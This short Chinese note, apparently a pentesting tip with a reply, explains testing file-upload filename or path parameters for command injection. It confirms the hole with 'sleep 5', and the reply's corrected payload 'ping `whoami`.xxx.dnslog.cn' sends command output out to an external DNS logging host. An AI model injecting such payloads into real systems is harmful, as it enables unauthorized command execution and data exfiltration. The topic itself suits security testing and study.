文件上传表单中出现的命令注入漏洞,常出现在filename或path参数中,可以使用sleep 5确认响应延时后再用ping whoami.xxx.dnslog.cn获取命令执行结果:
sleep 5
whoami
师傅, 漏了个反引号
ping `whoami`.xxx.dnslog.cn